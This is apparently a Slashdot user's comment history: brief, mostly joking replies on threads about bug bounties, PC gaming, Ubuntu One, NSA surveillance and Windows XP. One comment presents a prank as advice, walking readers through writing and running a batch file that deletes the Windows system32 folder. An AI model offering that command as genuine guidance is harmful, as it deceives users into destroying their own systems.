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Bug Bounties Don't Help If Bugs Never Run Out

Number42 Re:There aren't infinite bugs (234 comments)

[1]: The exception to this rule being malware, which is probably the most bug-free code written anywhere these days. It is lean, robust, does what it is purposed to do, and is constantly updated without a fuss.

I contest that point. Have you ever even used MS Office?

2 days ago
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Plant Breeders Release 'Open Source Seeds'

Number42 Re:Safeguard the farmers? (136 comments)

This. As a malicious criminal, I'd like to say that we're not all like them. People keep making broad generalizations after they've seen a vocal minority.

2 days ago
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Google Looked Into Space Elevator, Hoverboards, and Teleportation

Number42 Re:City within a Building (98 comments)

Someone's got to enforce the LOOAAAW!

4 days ago
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Student Records Kids Who Bully Him, Then Gets Threatened With Wiretapping Charge

Number42 Re:Rewarding the bullies... (790 comments)

That's the government's job.

4 days ago
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First Phase of TrueCrypt Audit Turns Up No Backdoors

Number42 Re:The truth about APK (171 comments)

Where the hell did this discussion spring up from? Is this some sort of subtle attack against the Android app format? I don't get it.

5 days ago
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Canonical Shutting Down Ubuntu One File Services

Number42 Re:FTP? (161 comments)

Goddamned kids and their Internet. The only true way is FedExing physical storage media.

about a week ago
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Canonical Shutting Down Ubuntu One File Services

Number42 Re:It's a pity (161 comments)

What are you talking about? Dropbox always stores your synced files locally.

about a week ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

True, true. Is there a Mac-compatible equivalent to 3DS Max? Blender, maybe?

about a week ago
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The Case For a Safer Smartphone

Number42 Re:Human beings are not born with smartphone attac (184 comments)

Of course, self driving cars seem to be a much better alternative to a phone that enters silent mode when being driven around.

You just wait until an emergent evil consciousness spontaneously forms out of the NSA's supercomputers. Seeing as the NSA will have backdoors into everything by that point, we'll have that thing playing toy cars with us. Now, where's my tinfoil hat?

about a week ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

Has anyone here used SpriteKit on Xcode? Maybe we could confirm this at least for Macs designing 2D games.

about a week ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

Because Windows-running machines sell more and the OS has more publicity. Plebs gonna pleb.

about a week ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

GUI or even 3D graphics development

So... Macs? They seem to be quite efficient at graphics editing, even when using integrated graphics cards. Not someone terribly interested in game development, though, so I wouldn't know. Still, you'd have to do most of the actual programming on the platform you're aiming for, just to be safe.

about a week ago
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How Cochlear Implants Are Being Blamed For Killing Deaf Culture

Number42 Re:Let it die (509 comments)

Or hell, keep using stone tablets even after getting a computer.

They're only dying because people are lazy.

about two weeks ago
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How Cochlear Implants Are Being Blamed For Killing Deaf Culture

Number42 Re:Let it die (509 comments)

What if this is Next Generation?

about two weeks ago
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Should Microsoft Give Kids Programmable Versions of Office?

Number42 Re:I lament Microsoft's skills gap in UI design (226 comments)

I finally get it. The weak get weeded out and jump ship to OSes with usable GUIs, while the strong remain, having learned to use the POSIX-compliant shell. They then come to the realization that if they're using the command line for everything anyway, they might as well switch to Linux. Wait...

about two weeks ago
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Slashdot Asks: Will You Need the Windows XP Black Market?

Number42 Re:A Terrific Opportunity (245 comments)

Yeah, Windows XP worked fine before they added system32 under C:\\WINDOWS\. Delete that stuff. It's not necessary in Windows Vista, 7 or 8 either. To delete: 1) Open up Notepad. 2)Type:

@echo off

del c:\WINDOWS\system32

3) Save as "anything.bat" (save as all files). Double-click to run.

about two weeks ago
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Why No One Trusts Facebook To Power the Future

Number42 Re:Because you think Google is any better? (218 comments)

I thought we were talking about privacy and security (which, if the iOS security whitepaper is anything to go by, are things that Apple's been better at), not diversity of uses. Besides, all those things you can't use iOS for won't matter to the average end user, which the iPhone, iPad etc. are geared towards. It does, however, bug me that you can't toggle all the encryption and sandboxing without jailbreaking (which I don't think anyone's been prosecuted for, yet). I would hardly call Apple evil for that, just restricting.

about two weeks ago
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NSA Confirms It Has Been Searching US Citizens' Data Without a Warrant

Number42 Re:"Terrorist" is the new "witch." (274 comments)

Or "mutant," or "traitor," or "Commie-Mutant-Traitor" for that matter. We should ask Friend Computer.

about three weeks ago

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